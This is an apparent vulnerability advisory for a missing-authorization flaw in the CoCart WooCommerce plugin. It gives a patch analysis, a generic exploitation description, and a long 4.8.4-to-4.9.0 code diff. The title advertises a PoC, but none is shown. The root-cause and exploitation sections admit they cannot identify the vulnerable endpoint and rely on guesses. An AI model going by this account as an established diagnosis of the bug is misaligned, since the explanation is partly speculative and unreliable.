Published : August 11, 2026

CVE-2026-59536: CoCart – Headless REST API for WooCommerce <= 4.8.4 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.8.4
Patched Version 4.9.0
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59536: This vulnerability affects the CoCart – Headless REST API for WooCommerce plugin for WordPress, versions up to and including 4.8.4. It is a missing authorization vulnerability that allows unauthenticated attackers to perform an unauthorized action, with a CVSS score of 5.3. The core issue stems from a lack of capability checks in specific REST API callback functions, allowing unauthenticated users to trigger actions that should require elevated privileges.

Root Cause: The root cause is a missing capability check on a function within the plugin’s REST API controllers. The provided diff does not directly show the vulnerable function, as it is in a non-modified file; however, the diff reveals the patch path. The patch modifies the ‘includes/class-cocart.php’ file’s ‘load_rest_api()’ method to add an early return if the request is made via the WordPress admin area. Specifically, the change (lines 471-478) adds: ‘// Prevent CoCart running in the backend should the REST API server be called by another plugin. if ( is_admin() ) { return; }’. This fix prevents the REST API routes from being loaded when an admin page is being requested, which closes the access vector. The root cause is that a specific REST API endpoint, likely within the ‘/wp-json/cocart/v1/’ namespace, fails to verify the user’s permissions before processing a request. The fix restricts the loading of these routes to non-admin contexts, which blocks the unauthorized access path.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests to the vulnerable REST API endpoint. The attacker would target the `/wp-json/cocart/v1/` namespace. Without being able to specify the exact vulnerable function, the attack vector is a generic unauthenticated POST or GET request to a CoCart endpoint. The specific action performed is undefined in the diff, but it is an unauthorized action. Since the fix involves checking `is_admin()`, the attack likely involves a request that is misidentified or routed through the backend, allowing the function to execute without a user session or nonce.

Patch Analysis: The patch fix is in the `load_rest_api()` method. The vulnerable version loads all REST API classes and registers routes without checking the request context. The patched version adds an early return `if ( is_admin() ) { return; }`, which prevents the REST API from being loaded when the request originates from an admin page request. This is a preventative measure that stops the vulnerable code from even being registered in that specific context. While this patch addresses the described vulnerability by preventing the unauthorized action, it is a broad fix that may change the plugin’s behavior in admin contexts where it might be needed. The patch also includes a change to `is_rest_api_request()` to recognize requests sent via the WP REST API batch endpoint (‘batch/v1’), which was previously not included, but is unrelated to the security fix.

Impact: Successful exploitation of this vulnerability allows an unauthenticated attacker to perform an unauthorized action. The exact nature of this action is not clear from the available data, but it could lead to unauthorized data modification, configuration changes, or other administrative tasks. The CVSS score of 5.3 (Medium) suggests a moderate level of impact, typically related to data integrity or availability in a limited scope. The confidentiality impact is likely low, but the unauthorized action could disrupt the normal operation of the e-commerce site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/cart-rest-api-for-woocommerce/cart-rest-api-for-woocommerce.php
+++ b/cart-rest-api-for-woocommerce/cart-rest-api-for-woocommerce.php
@@ -5,12 +5,12 @@
  * Description: A developer-first REST API to decouple WooCommerce on the frontend to help build modern and scalable storefronts.
  * Author:      CoCart Headless, LLC
  * Author URI:  https://cocartapi.com
- * Version:     4.8.4
+ * Version:     4.9.0
  * Text Domain: cart-rest-api-for-woocommerce
  * Domain Path: /languages/
- * Requires at least: 6.3
- * Tested up to: 6.9
- * Requires PHP: 7.4
+ * Requires at least: 6.7
+ * Tested up to: 7.0
+ * Requires PHP: 8.2
  * Requires Plugins: woocommerce
  *
  * Copyright:   CoCart Headless, LLC
--- a/cart-rest-api-for-woocommerce/includes/class-cocart.php
+++ b/cart-rest-api-for-woocommerce/includes/class-cocart.php
@@ -1,11 +1,12 @@
 <?php
 /**
- * CoCart core setup.
+ * CoCart Community setup.
  *
  * @author  Sébastien Dumont
  * @package CoCart
  * @since   2.6.0
- * @version 4.6.2
+ * @version 4.9.0
+ * @license GPL-3.0
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -28,7 +29,7 @@
 	 *
 	 * @var string
 	 */
-	public static $version = '4.8.4';
+	public static $version = '4.9.0';

 	/**
 	 * CoCart Database Schema version.
@@ -44,7 +45,20 @@
 	public static $db_version = '4.3.23';

 	/**
-	 * Required WordPress Version
+	 * Tested up to WordPress version.
+	 *
+	 * @access public
+	 *
+	 * @static
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @var string
+	 */
+	public static $tested_up_to_wp = '6.9';
+
+	/**
+	 * Required WordPress version.
 	 *
 	 * @access public
 	 *
@@ -54,10 +68,10 @@
 	 *
 	 * @var string
 	 */
-	public static $required_wp = '6.3';
+	public static $required_wp = '6.7';

 	/**
-	 * Required WooCommerce Version
+	 * Required WooCommerce version.
 	 *
 	 * @access public
 	 *
@@ -70,7 +84,7 @@
 	public static $required_woo = '9.0';

 	/**
-	 * Required PHP Version
+	 * Required PHP version.
 	 *
 	 * @access public
 	 *
@@ -78,7 +92,7 @@
 	 *
 	 * @var string
 	 */
-	public static $required_php = '7.4';
+	public static $required_php = '8.2';

 	/**
 	 * Cloning is forbidden.
@@ -114,8 +128,6 @@
 	public static function init() {
 		self::setup_constants();
 		self::includes();
-		self::include_extension_compatibility();
-		self::include_third_party();

 		// Install CoCart upon activation.
 		register_activation_hook( COCART_FILE, array( __CLASS__, 'install_cocart' ) );
@@ -129,6 +141,9 @@
 		add_action( 'woocommerce_loaded', array( __CLASS__, 'woocommerce' ) );
 		add_action( 'woocommerce_loaded', array( __CLASS__, 'background_updater' ) );

+		// Load integrations (compatibility modules + third-party plugin support).
+		add_action( 'init', array( __CLASS__, 'include_integrations' ), 5 );
+
 		// Load translation files.
 		add_action( 'init', array( __CLASS__, 'load_plugin_textdomain' ), 0 );

@@ -151,13 +166,17 @@
 	 * @static
 	 *
 	 * @since   1.2.0 Introduced.
-	 * @version 4.5.0
+	 * @version 4.9.0
 	 */
 	public static function setup_constants() {
 		self::define( 'COCART_ABSPATH', dirname( COCART_FILE ) . '/' );
 		self::define( 'COCART_PLUGIN_BASENAME', plugin_basename( COCART_FILE ) );
 		self::define( 'COCART_VERSION', self::$version );
 		self::define( 'COCART_DB_VERSION', self::$db_version );
+		self::define( 'COCART_TESTED_WP', self::$tested_up_to_wp );
+		self::define( 'COCART_REQUIRED_WP', self::$required_wp );
+		self::define( 'COCART_REQUIRED_PHP', self::$required_php );
+		self::define( 'COCART_REQUIRED_WOO', self::$required_woo );
 		self::define( 'COCART_SLUG', 'cart-rest-api-for-woocommerce' );
 		self::define( 'COCART_URL_PATH', untrailingslashit( plugins_url( '/', COCART_FILE ) ) );
 		self::define( 'COCART_FILE_PATH', untrailingslashit( plugin_dir_path( COCART_FILE ) ) );
@@ -168,10 +187,9 @@
 		self::define( 'COCART_REVIEW_URL', 'https://testimonial.to/cocart' );
 		self::define( 'COCART_SUGGEST_FEATURE', 'https://cocartapi.com/suggest-a-feature/' );
 		self::define( 'COCART_COMMUNITY_URL', 'https://cocartapi.com/community/' );
-		self::define( 'COCART_DOCUMENTATION_URL', 'https://cocartapi.com/docs/' );
+		self::define( 'COCART_DOCUMENTATION_URL', 'https://docs.cocartapi.com/' );
 		self::define( 'COCART_TRANSLATION_URL', 'https://translate.cocartapi.com/projects/cart-rest-api-for-woocommerce/' );
 		self::define( 'COCART_REPO_URL', 'https://github.com/co-cart/co-cart' );
-		self::define( 'COCART_NEXT_VERSION', '5.0.0' );
 	} // END setup_constants()

 	/**
@@ -287,6 +305,9 @@
 		include_once __DIR__ . '/cocart-deprecated-functions.php';
 		include_once __DIR__ . '/cocart-formatting-functions.php';

+		// Integration Registry — must load before compatibility and third-party modules.
+		include_once __DIR__ . '/classes/class-cocart-integrations.php';
+
 		// Core classes.
 		require_once __DIR__ . '/classes/class-cocart-helpers.php';
 		require_once __DIR__ . '/classes/class-cocart-install.php';
@@ -313,7 +334,7 @@
 		 */
 		if (
 			! defined( 'COCART_WHITE_LABEL' ) ||
-			false === COCART_WHITE_LABEL && is_admin() ||
+			( false === COCART_WHITE_LABEL && is_admin() ) ||
 			( defined( 'WP_CLI' ) && WP_CLI )
 		) {
 			require_once __DIR__ . '/classes/admin/class-cocart-admin.php';
@@ -341,30 +362,17 @@
 	} // END background_updater()

 	/**
-	 * Include extension compatibility.
-	 *
-	 * @access public
-	 *
-	 * @static
-	 *
-	 * @since 3.0.0 Introduced.
-	 */
-	public static function include_extension_compatibility() {
-		require_once __DIR__ . '/compatibility/class-cocart-compatibility.php';
-	} // END include_extension_compatibility()
-
-	/**
-	 * Include third party support.
+	 * Include all integrations (compatibility modules + third-party plugin support).
 	 *
 	 * @access public
 	 *
 	 * @static
 	 *
-	 * @since 2.8.1 Introduced.
+	 * @since 4.9.0 Introduced.
 	 */
-	public static function include_third_party() {
-		require_once __DIR__ . '/third-party/class-cocart-third-party.php';
-	} // END include_third_party()
+	public static function include_integrations(): void {
+		CoCart_Integrations::load();
+	} // END include_integrations()

 	/**
 	 * Install CoCart upon activation.
@@ -413,7 +421,7 @@
 			self::deactivate_plugin();
 			wp_die(
 				sprintf(
-					/* translators: %1$s: CoCart Core, %2$s: CoCart Plus */
+					/* translators: %1$s: CoCart, %2$s: CoCart Plus */
 					esc_html__( '%1$s is not required as it is already packaged within %2$s', 'cart-rest-api-for-woocommerce' ),
 					'CoCart',
 					'CoCart Plus'
@@ -425,7 +433,7 @@
 			self::deactivate_plugin();
 			wp_die(
 				sprintf(
-					/* translators: %1$s: CoCart Core, %2$s: CoCart Pro */
+					/* translators: %1$s: CoCart, %2$s: CoCart Pro */
 					esc_html__( '%1$s is not required as it is already packaged within %2$s', 'cart-rest-api-for-woocommerce' ),
 					'CoCart',
 					'CoCart Pro'
@@ -463,7 +471,13 @@
 	 * @since 4.1.0  Moved REST API classes to load ONLY when the REST API is used.
 	 */
 	public static function load_rest_api() {
+		// Prevent CoCart running in the backend should the REST API server be called by another plugin.
+		if ( is_admin() ) {
+			return;
+		}
+
 		require_once __DIR__ . '/classes/class-cocart-data-exception.php';
+		require_once __DIR__ . '/classes/rest-api/class-cocart-etag.php';
 		require_once __DIR__ . '/classes/rest-api/class-cocart-cart-callbacks.php';
 		require_once __DIR__ . '/classes/rest-api/class-cocart-cart-extension.php';
 		require_once __DIR__ . '/classes/rest-api/class-cocart-response.php';
@@ -477,13 +491,13 @@
 	/**
 	 * Returns true if we are making a REST API request for CoCart.
 	 *
-	 * @todo: replace this function once core WP function is available: https://core.trac.wordpress.org/ticket/42061.
-	 *
 	 * @access public
 	 *
 	 * @static
 	 *
 	 * @since 2.1.0 Introduced.
+	 * @since 4.2.0 Moved to main class.
+	 * @since 4.9.0 Recognize requests made via the WordPress REST API batch endpoint.
 	 *
 	 * @return bool
 	 */
@@ -492,9 +506,16 @@
 			return false;
 		}

-		$rest_prefix         = trailingslashit( rest_get_url_prefix() );
-		$request_uri         = esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) );
-		$is_rest_api_request = ( false !== strpos( $request_uri, $rest_prefix . 'cocart/' ) ); // phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		$rest_prefix = trailingslashit( rest_get_url_prefix() );
+		$request_uri = esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ); // phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+
+		$is_rest_api_request = ( false !== strpos( $request_uri, $rest_prefix . 'cocart/' ) );
+
+		// Requests sent via the WP REST API batch endpoint share the cart, session and
+		// customer for every sub-request dispatched, so return true to accept them.
+		if ( ! $is_rest_api_request ) {
+			$is_rest_api_request = ( false !== strpos( $request_uri, $rest_prefix . 'batch/v1' ) );
+		}

 		/**
 		 * Filters the REST API requested.
@@ -586,30 +607,23 @@
 	/**
 	 * Load the plugin translations if any ready.
 	 *
-	 * Note: the first-loaded translation file overrides any following ones if the same translation is present.
+	 * Note: the first-loaded translation file takes priority over any following ones if the same translation is present.
 	 *
 	 * Locales found in:
 	 *      - WP_LANG_DIR/cart-rest-api-for-woocommerce/cart-rest-api-for-woocommerce-LOCALE.mo
-	 *      - WP_LANG_DIR/plugins/cart-rest-api-for-woocommerce-LOCALE.mo
+	 *      - PLUGIN_DIR/languages/cart-rest-api-for-woocommerce-LOCALE.mo
 	 *
 	 * @access public
 	 *
 	 * @static
 	 *
-	 * @since   1.0.0 Introduced.
-	 * @version 4.3.7
+	 * @since 1.0.0 Introduced.
 	 */
 	public static function load_plugin_textdomain() {
-		if ( function_exists( 'determine_locale' ) ) {
-			$locale = determine_locale();
-		} else {
-			$locale = is_admin() ? get_user_locale() : get_locale();
-		}
-
-		$locale = apply_filters( 'plugin_locale', $locale, COCART_SLUG ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+		$locale = determine_locale();

 		unload_textdomain( COCART_SLUG );
 		load_textdomain( COCART_SLUG, WP_LANG_DIR . '/' . COCART_SLUG . '/' . COCART_SLUG . '-' . $locale . '.mo' );
-		load_plugin_textdomain( COCART_SLUG, false, plugin_basename( dirname( COCART_FILE ) ) . '/languages' ); // phpcs:ignore PluginCheck.CodeAnalysis.DiscouragedFunctions.load_plugin_textdomainFound
+		load_textdomain( COCART_SLUG, plugin_dir_path( COCART_FILE ) . 'languages/' . COCART_SLUG . '-' . $locale . '.mo' );
 	} // END load_plugin_textdomain()
 } // END class
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-action-links.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-action-links.php
@@ -57,6 +57,13 @@

 			$page = admin_url( 'admin.php' );

+			/**
+			 * Filter to enable or disable the setup wizard.
+			 *
+			 * @since 2.6.0 Introduced.
+			 *
+			 * @param bool $enable_setup_wizard True to enable, false to disable.
+			 */
 			if ( apply_filters( 'cocart_enable_setup_wizard', true ) && current_user_can( 'manage_options' ) ) {
 				$action_links['setup-wizard'] = '<a href="' . add_query_arg(
 					array(
@@ -77,21 +84,6 @@
 				'CoCart'
 			) . '">' . esc_attr__( 'Support', 'cart-rest-api-for-woocommerce' ) . '</a>';

-			// Only show upgrade option if neither CoCart Plus, Pro or above is found.
-			if ( apply_filters( 'cocart_show_upgrade_action_link', true ) ) {
-				$store_url = CoCart_Helpers::build_shortlink( add_query_arg( $this->campaign_args, COCART_STORE_URL . 'why-upgrade/' ) );
-
-				$action_links['upgrade'] = sprintf(
-					'<a href="%1$s" title="%2$s" target="_blank" rel="noopener noreferrer" style="color: #6032b0; font-weight: 600;">%2$s</a>',
-					esc_url( $store_url ),
-					sprintf(
-						/* translators: %s: CoCart */
-						esc_attr__( 'Upgrade %s', 'cart-rest-api-for-woocommerce' ),
-						'CoCart'
-					)
-				);
-			}
-
 			$links = array_merge( $links, $action_links );

 			return $links;
@@ -115,34 +107,57 @@
 				return $metadata;
 			}

-			if ( plugin_basename( COCART_FILE ) === $file ) {
-				$row_meta = array(
-					'community' => '<a href="' . esc_url( COCART_COMMUNITY_URL ) . '" title="' . sprintf(
-						/* translators: %1$s: CoCart, %2$s :Discord */
-						esc_attr__( 'Join %1$s Community on %2$s', 'cart-rest-api-for-woocommerce' ),
-						'CoCart',
-						'Discord'
-					) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Join Community', 'cart-rest-api-for-woocommerce' ) . '</a>',
-					'docs'      => '<a href="' . esc_url( COCART_DOCUMENTATION_URL ) . '" title="' . sprintf(
-						/* translators: %s: CoCart */
-						esc_attr__( 'View %s Documentation', 'cart-rest-api-for-woocommerce' ),
-						'CoCart'
-					) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Documentation', 'cart-rest-api-for-woocommerce' ) . '</a>',
-					'translate' => '<a href="' . CoCart_Helpers::build_shortlink( add_query_arg( $this->campaign_args, esc_url( COCART_TRANSLATION_URL ) ) ) . '" title="' . sprintf(
-						/* translators: %s: CoCart */
-						esc_attr__( 'Translate %s', 'cart-rest-api-for-woocommerce' ),
-						'CoCart'
-					) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Translate', 'cart-rest-api-for-woocommerce' ) . '</a>',
-					'review'    => '<a href="' . esc_url( COCART_REVIEW_URL ) . '" title="' . sprintf(
+			if ( plugin_basename( COCART_FILE ) !== $file ) {
+				return $metadata;
+			}
+
+			$row_meta = array(
+				'community' => '<a href="' . esc_url( COCART_COMMUNITY_URL ) . '" title="' . sprintf(
+					/* translators: %1$s: CoCart, %2$s :Discord */
+					esc_attr__( 'Join %1$s Community on %2$s', 'cart-rest-api-for-woocommerce' ),
+					'CoCart',
+					'Discord'
+				) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Join Community', 'cart-rest-api-for-woocommerce' ) . '</a>',
+				'docs'      => '<a href="' . esc_url( COCART_DOCUMENTATION_URL ) . '" title="' . sprintf(
+					/* translators: %s: CoCart */
+					esc_attr__( 'View %s Documentation', 'cart-rest-api-for-woocommerce' ),
+					'CoCart'
+				) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Documentation', 'cart-rest-api-for-woocommerce' ) . '</a>',
+				'translate' => '<a href="' . esc_url( COCART_TRANSLATION_URL ) . '" title="' . sprintf(
+					/* translators: %s: CoCart */
+					esc_attr__( 'Translate %s', 'cart-rest-api-for-woocommerce' ),
+					'CoCart'
+				) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Translate', 'cart-rest-api-for-woocommerce' ) . '</a>',
+				'review'    => '<a href="' . esc_url( COCART_REVIEW_URL ) . '" title="' . sprintf(
+					/* translators: %s: CoCart */
+					esc_attr__( 'Submit a review for %s', 'cart-rest-api-for-woocommerce' ),
+					'CoCart'
+				) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Leave a Review', 'cart-rest-api-for-woocommerce' ) . '</a>',
+			);
+
+			/**
+			 * Filter to show or hide the upgrade action link.
+			 *
+			 * @since 2.1.0 Introduced.
+			 *
+			 * @param bool $show True to show the upgrade link, false to hide it.
+			 */
+			if ( apply_filters( 'cocart_show_upgrade_action_link', true ) ) {
+				$store_url = CoCart_Helpers::build_shortlink( add_query_arg( $this->campaign_args, COCART_STORE_URL . 'why-upgrade/' ) );
+
+				$row_meta['upgrade-cocart'] = sprintf(
+					'<a href="%1$s" title="%2$s" target="_blank" rel="noopener noreferrer" style="color: #6032b0; font-weight: 600;">%2$s</a>',
+					esc_url( $store_url ),
+					sprintf(
 						/* translators: %s: CoCart */
-						esc_attr__( 'Submit a review for %s', 'cart-rest-api-for-woocommerce' ),
+						esc_attr__( 'Upgrade %s', 'cart-rest-api-for-woocommerce' ),
 						'CoCart'
-					) . '" target="_blank" rel="noopener noreferrer">' . esc_attr__( 'Leave a Review', 'cart-rest-api-for-woocommerce' ) . '</a>',
+					)
 				);
-
-				$metadata = array_merge( $metadata, $row_meta );
 			}

+			$metadata = array_merge( $metadata, $row_meta );
+
 			return $metadata;
 		} // END plugin_row_meta()
 	} // END class
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-assets.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-assets.php
@@ -27,11 +27,40 @@
 			// Registers and enqueue Stylesheets.
 			add_action( 'admin_enqueue_scripts', array( $this, 'admin_styles' ) );

+			// Registers and enqueue Scripts.
+			add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) );
+
 			// Adds admin body classes.
 			add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );
 		} // END __construct()

 		/**
+		 * Registers and enqueues scripts for CoCart admin pages.
+		 *
+		 * @access public
+		 *
+		 * @since 4.9.0 Introduced.
+		 */
+		public function admin_scripts() {
+			$suffix    = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+			$screen    = get_current_screen();
+			$screen_id = $screen ? $screen->id : '';
+
+			if ( strpos( $screen_id, 'cocart-settings' ) !== false ) {
+				$script_path = 'assets/js/admin/cocart-admin-settings' . $suffix . '.js';
+
+				wp_register_script(
+					'cocart-admin-settings',
+					COCART_URL_PATH . '/' . $script_path,
+					array( 'jquery' ),
+					CoCart::get_file_version( COCART_ABSPATH . $script_path ),
+					true
+				);
+				wp_enqueue_script( 'cocart-admin-settings' );
+			}
+		} // END admin_scripts()
+
+		/**
 		 * Registers and enqueue Stylesheets.
 		 *
 		 * @access public
@@ -46,15 +75,15 @@
 			if ( CoCart_Helpers::is_cocart_admin_page() ) {
 				$style_path = 'assets/css/admin/cocart.css';

-				wp_register_style( COCART_SLUG . '-admin', COCART_URL_PATH . '/' . $style_path, array(), CoCart::get_file_version( COCART_ABSPATH . $style_path ) );
-				wp_enqueue_style( COCART_SLUG . '-admin' );
-				wp_style_add_data( COCART_SLUG . '-admin', 'rtl', 'replace' );
+				wp_register_style( 'cocart-admin', COCART_URL_PATH . '/' . $style_path, array(), CoCart::get_file_version( COCART_ABSPATH . $style_path ) );
+				wp_enqueue_style( 'cocart-admin' );
+				wp_style_add_data( 'cocart-admin', 'rtl', 'replace' );
 				if ( $suffix ) {
-					wp_style_add_data( COCART_SLUG . '-admin', 'suffix', '.min' );
+					wp_style_add_data( 'cocart-admin', 'suffix', '.min' );
 				}
 			}
 			if ( $suffix ) {
-				wp_style_add_data( COCART_SLUG . '-admin', 'suffix', '.min' );
+				wp_style_add_data( 'cocart-admin', 'suffix', '.min' );
 			}
 		} // END admin_styles()

--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-menus.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-menus.php
@@ -4,7 +4,7 @@
  *
  * @author  Sébastien Dumont
  * @package CoCartAdminMenus
- * @since   2.0.0
+ * @since   2.0.0 Introduced.
  * @version 3.1.0
  * @license GPL-2.0+
  */
@@ -22,7 +22,8 @@
 		 * A list with the objects that handle submenu pages
 		 *
 		 * @access public
-		 * @var    array
+		 *
+		 * @var array
 		 */
 		public $submenu_pages = array();

@@ -43,15 +44,25 @@
 		/**
 		 * Add CoCart to the menu.
 		 *
-		 * @access  public
-		 * @since   2.0.0
+		 * @access public
+		 *
+		 * @since   2.0.0 Introduced.
 		 * @version 3.10.5
 		 */
 		public function add_main_menu_page() {
+			/**
+			 * Filter the capability required to access CoCart admin screens.
+			 *
+			 * @since 2.0.0 Introduced.
+			 *
+			 * @param string $capability Required capability.
+			 */
+			$screen_capability = apply_filters( 'cocart_screen_capability', 'manage_options' );
+
 			add_menu_page(
 				'CoCart',
 				'CoCart',
-				apply_filters( 'cocart_screen_capability', 'manage_options' ),
+				$screen_capability,
 				'cocart',
 				function () {
 					return '';
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-notices.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-notices.php
@@ -7,7 +7,7 @@
  * @author  Sébastien Dumont
  * @package CoCartAdminNotices
  * @since   1.2.0 Introduced.
- * @version 4.3.25
+ * @version 4.9.0
  * @license GPL-2.0+
  */

@@ -62,7 +62,6 @@
 			'check_wc'            => 'check_woocommerce_notice',
 			'plugin_review'       => 'plugin_review_notice',
 			'check_beta'          => 'check_beta_notice',
-			'upgrade_warning'     => 'upgrade_warning_notice',
 			'base_tables_missing' => 'base_tables_missing_notice',
 			'setup_wizard'        => 'setup_wizard_notice',
 		);
@@ -241,7 +240,11 @@
 				/**
 				 * Hook: Hide a CoCart notice.
 				 *
-				 * Example: `cocart_hide_plugin_review_notice'
+				 * @since 3.0.0 Introduced.
+				 *
+				 * Example: `cocart_hide_plugin_review_notice`
+				 *
+				 * @param string $notice_name The name of the notice being hidden.
 				 */
 				do_action( "cocart_hide_{$notice_name}_notice" );
 			}
@@ -340,7 +343,11 @@
 			/**
 			 * Hook: Hide a CoCart notice.
 			 *
-			 * Example: `cocart_hide_plugin_review_notice'
+			 * @since 3.0.0 Introduced.
+			 *
+			 * Example: `cocart_hide_plugin_review_notice`
+			 *
+			 * @param string $notice_name The name of the notice being hidden.
 			 */
 			do_action( "cocart_hide_{$notice_name}_notice" );
 		} // END hide_notice()
@@ -394,6 +401,14 @@
 			}

 			foreach ( $notices as $notice ) {
+				/**
+				 * Filter to show or hide a specific admin notice.
+				 *
+				 * @since 3.0.0 Introduced.
+				 *
+				 * @param bool   $show_notice True to show, false to hide.
+				 * @param string $notice      The notice name.
+				 */
 				if ( ! empty( self::$core_notices[ $notice ] ) && apply_filters( 'cocart_show_admin_notice', true, $notice ) ) {
 					add_action( 'admin_notices', array( $this, self::$core_notices[ $notice ] ) );
 				} else {
@@ -454,6 +469,13 @@
 		 * @return void
 		 */
 		public function base_tables_missing_notice() {
+			/**
+			 * Filter to hide the base tables missing notice.
+			 *
+			 * @since 3.0.0 Introduced.
+			 *
+			 * @param mixed $dismissed Whether the notice has been dismissed.
+			 */
 			$notice_dismissed = apply_filters(
 				'cocart_hide_base_tables_missing_nag',
 				get_user_meta( get_current_user_id(), 'dismissed_cocart_base_tables_missing_notice', true )
@@ -495,6 +517,8 @@
 		 *
 		 * @access public
 		 *
+		 * @deprecated 4.9.0 Deprecated as the next major release is now expected to be 5.0.0 and the notice is no longer relevant.
+		 *
 		 * @since 1.2.3 Introduced.
 		 * @since 3.10.4 Check how long CoCart has been installed before showing.
 		 *
--- a/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-settings-renderer.php
+++ b/cart-rest-api-for-woocommerce/includes/classes/admin/class-cocart-admin-settings-renderer.php
@@ -0,0 +1,636 @@
+<?php
+/**
+ * Settings page renderer.
+ *
+ * Renders tabs, panels, and individual field rows from a schema returned by
+ * CoCart_Admin_Settings_Page::get_sections() and get_fields().
+ *
+ * @author  Sébastien Dumont
+ * @package CoCartAdmin
+ * @since   4.9.0 Introduced.
+ * @license GPL-3.0
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class CoCart_Admin_Settings_Renderer {
+
+	/**
+	 * Detect whether a developer has registered their own callback on a filter,
+	 * ignoring CoCart's own settings-bridge callbacks (priority 5).
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param string $hook_name Filter hook to inspect.
+	 *
+	 * @return bool True if an external callback is registered.
+	 */
+	public function has_external_filter( $hook_name ) {
+		global $wp_filter;
+
+		if ( empty( $wp_filter[ $hook_name ] ) ) {
+			return false;
+		}
+
+		foreach ( $wp_filter[ $hook_name ]->callbacks as $priority => $callbacks ) {
+			if ( 5 === $priority ) {
+				continue;
+			}
+			if ( ! empty( $callbacks ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	} // END has_external_filter()
+
+	/**
+	 * Collect registered callbacks for a filter hook, skipping priority 5.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param string $hook_name Filter hook to inspect.
+	 *
+	 * @return array<int, array<string, mixed>> Each entry: priority, label, file, line.
+	 */
+	public function get_filter_locations( $hook_name ) {
+		global $wp_filter;
+
+		$locations = array();
+
+		if ( empty( $wp_filter[ $hook_name ] ) ) {
+			return $locations;
+		}
+
+		foreach ( $wp_filter[ $hook_name ]->callbacks as $priority => $callbacks ) {
+			if ( 5 === $priority ) {
+				continue;
+			}
+			foreach ( $callbacks as $callback ) {
+				$fn = $callback['function'];
+				try {
+					if ( is_array( $fn ) ) {
+						$ref = new ReflectionMethod( $fn[0], $fn[1] );
+					} elseif ( $fn instanceof Closure ) {
+						$ref = new ReflectionFunction( $fn );
+					} elseif ( is_string( $fn ) ) {
+						$ref = new ReflectionFunction( $fn );
+					} else {
+						continue;
+					}
+					$file  = $ref->getFileName();
+					$line  = $ref->getStartLine();
+					$label = is_array( $fn )
+						? ( is_object( $fn[0] ) ? get_class( $fn[0] ) : $fn[0] ) . '::' . $fn[1]
+						: ( is_string( $fn ) ? $fn : '{closure}' );
+
+					$locations[] = array(
+						'priority' => $priority,
+						'label'    => $label,
+						'file'     => $file ? str_replace( ABSPATH, '', $file ) : '',
+						'line'     => $line ? $line : null,
+					);
+				} catch ( ReflectionException $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
+					// Skip callbacks we cannot introspect.
+				}
+			}
+		}
+
+		return $locations;
+	} // END get_filter_locations()
+
+	/**
+	 * Render the tab navigation bar.
+	 *
+	 * @access public
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, array<string, mixed>> $sections Sections from get_sections().
+	 */
+	public function render_tabs( $sections ) {
+		$default_tab = $this->get_default_tab( $sections );
+
+		foreach ( $sections as $key => $section ) {
+			$id       = esc_attr( $key );
+			$label    = $section['label'];
+			$selected = ( $key === $default_tab ) ? 'true' : 'false';
+			$class    = ( $key === $default_tab ) ? ' is-active' : '';
+			$badge    = '';
+
+			if ( ! empty( $section['preview'] ) ) {
+				$badge = ' <span class="cocart-settings-tab-badge"><span class="dashicons dashicons-lock"></span></span>';
+			}
+
+			printf(
+				'<button type="button" class="cocart-settings-tab%s" role="tab" aria-selected="%s" aria-controls="cocart-tab-%s" data-tab="%s">%s%s</button>',
+				esc_attr( $class ),
+				esc_attr( $selected ),
+				esc_attr( $id ),
+				esc_attr( $id ),
+				wp_kses_post( $label ),
+				wp_kses_post( $badge )
+			);
+		}
+	} // END render_tabs()
+
+	/**
+	 * Determine which section should be active by default.
+	 *
+	 * Skips sections flagged as a preview (e.g. "General") so they are only
+	 * shown when explicitly selected, falling back to the first section.
+	 *
+	 * @access protected
+	 *
+	 * @since 4.9.0 Introduced.
+	 *
+	 * @param array<string, array<string, mixed>> $sections Sections from get_sections().
+	 *
+	 * @return string Section ID to activate by default.
+	 */
+	protected function get_default_tab( $sections ) {
+		foreach ( $sections as $key => $section ) {
+			if ( empty( $section['preview'] ) ) {
+				return $key;
+			}
+		}
+
+		return array_key_first( $sections );
+	} // END get_default_tab()
